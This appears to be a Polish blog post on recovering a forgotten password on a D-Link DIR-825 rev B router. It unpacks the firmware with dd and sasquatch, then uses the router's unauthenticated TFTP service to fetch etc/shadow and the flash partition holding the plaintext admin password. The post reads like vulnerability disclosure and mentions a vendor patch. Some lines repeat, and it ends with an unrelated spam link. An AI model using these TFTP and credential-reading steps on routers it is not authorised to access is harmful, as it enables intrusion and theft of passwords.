źródło
Jeśli zapomniałeś wszelkich haseł, lub chcesz je zmienić nie mając dostępu do panelu administracyjnego,poniżej kilka wskazówek.
Podatności potwierdzone na wersji firmware'u 2.0.2 REVB i niższych, dostępne tutaj.
W przypadku mojego egzemplarza, router bez zmodyfikowania wersji 2.0.7 dostępnej pod linkiem wyżej, nie chce jej pobrać. Wersja 2.0.9beta patchuje dziury (od d-linka, którego powiadomiłem), można ją pobrać stąd.
Przywracanie ustawień fabrycznych może być kłopotliwe, jeśli mamy urządzenie skonfigurowane w stopniu większym niż ustalenie SSID- to jasne. Ambitniej będzie dobrać się do pudełka bez resetu ;)
Zacznijmy od tego, że musimy dobrać się do systemu plików routera, a który to system to często squashFS połączony z innymi plikami jak lzma, gzip, xz, itd...
Po zapoznaniu się z systemem plików możemy poszukać go w binarce. Sprawdźmy, czy nie mamy przypadkiem do czynienia ze zwykłym archiwum:
_______________________________
$ file dir825_revB_firmware_202NA.bin
___________________________________
$ file dir825_revB_firmware_202NA.bin
Ok, plik nie jest jakoś specjalnie zmodyfikowany i łatwo będzie wyodrębnić z niego system. Sprawdźmy, czy jest tam gdzieś archiwum LZMA, szukując magicznych bajtów:
___________________________________
___________________________________
Jest, na pozycji 0x040. Zrzućmy to do pliku w czytelnej formie i zerknijmy tam, czy będą inne ciekawe informacje:
___________________________________
Na samym początku widać jakiś nagłówek, następnie ciąg zer i "5D 00 00 80", który wskazuje na obecność pliku LZMA. Wartość ta może się różnić w zależności od zastosowanego stopnia kompresji. Szukamy kolejnego zestawu zer:
00100000 73 71 73 68 00 00 02 75 20 00 00 6e 00 00 00 00 | sqsh ...u ..n....|
i kolejnego po jakiejś sensownej (dużej) ilości danych:
___________________________________
___________________________________
Czyli do samego końca. Najważniejsze jest to, że zidentyfikowaliśmy miejsce, gdzie znajduje się początek systemu plików: sqsh na pozycji 0x0100000 wygląda obiecująco, ponieważ skompresowana część danych zajmuje:
___________________________________
$ echo $((0x040001a-0x0100000))
3145754 bajtów
___________________________________
Ponieważ czujemy się coraz lepiej w kuchni, bierzemy nóż:
___________________________________
___________________________________
$ dd if=dir825_revB_firmware_202NA.bin of=system.sqsh bs=1 skip=$((0x100000))
3145754+0 przeczytanych recordów
3145754+0 zapisanych recordów
skopiowane 3145754 bajty (3,1 MB), 10,2098 s, 308 kB/s
$ sudo sasquatch system.sqsh
SquashFS version [768.0] / inode count [1963065344] suggests a SquashFS image of a different endianess
...
___________________________________
bez problemu wyodrębniliśmy strukturę katalogów i plików:
___________________________________
bez problemu wyodrębniliśmy strukturę katalogów i plików:
___________________________________
$ ls squashfs-root/
bin/ dev/ include/ linuxrc proc/ root/ tmp/ usr/ www/ etc/ lib/ sbin/ var/
bin/ dev/ include/ linuxrc proc/ root/ tmp/ usr/ www/ etc/ lib/ sbin/ var/
___________________________________
i tak na szybko (-:
___________________________________
$ unshadow etc/passwd etc/shadow > passwd_un
$ cat passwd_un
root::0:0:root:/root:/bin/sh
Admin:iCDxYDfeF4MZL.H3/:0:0:root:/root:/bin/sh
...
$ find . -name *.pem
./www/caCert.pem
./www/caKey.pem
___________________________________
___________________________________
W pliku "udhcpd.conf" czytamy o dostępnej opcji TFTP i to może się mocno przydać, jeśli zadziała...
___________________________________
$ tftp 192.168.0.1
$ tftp 192.168.0.1
$ tftp> get etc/shadow
Received 357 bytes in 0.0 seconds
___________________________________
___________________________________
źródło
No dobra, ale gdzie moje hasło!?
Uprzejmie donoszę, że tu (na pewno w miejscu, którego nie znajdziemy bezpośrednio po rozpakowaniu squashfs'a):
___________________________________
$ tftp 192.168.0.1
tftp> binary
tftp> get dev/mtd1
Received 65536 bytes in 0.1 seconds
___________________________________
POKAŻ MI SWOJE TOWARY
___________________________________
$ strings mtd1 | grep password
admin_password=zapomnialeshasl
user_password=1234
...
___________________________________
Teraz mając już hasło, nie ma problemu z zalogowaniem się do routera.
Można jeszcze powertować /proc, żeby dowiedzieć się więcej o sprzęcie, albo zdumpować pamięć (64M) z /dev/mem, gdzie również znajdziemy passy...
Można jeszcze powertować /proc, żeby dowiedzieć się więcej o sprzęcie, albo zdumpować pamięć (64M) z /dev/mem, gdzie również znajdziemy passy...
Jak wspomniałem wyżej, beta-firmware zamyka dostęp poprzez tftp, ale to tylko powód, by znaleźć inny, skuteczny atak na router. To temat na kolejny wpis :)
/k
https://www.misjaodchudzanie.pl/sliminazer-plastry-odchudzanie-opinie/
/k
https://www.misjaodchudzanie.pl/sliminazer-plastry-odchudzanie-opinie/
No comments:
Post a Comment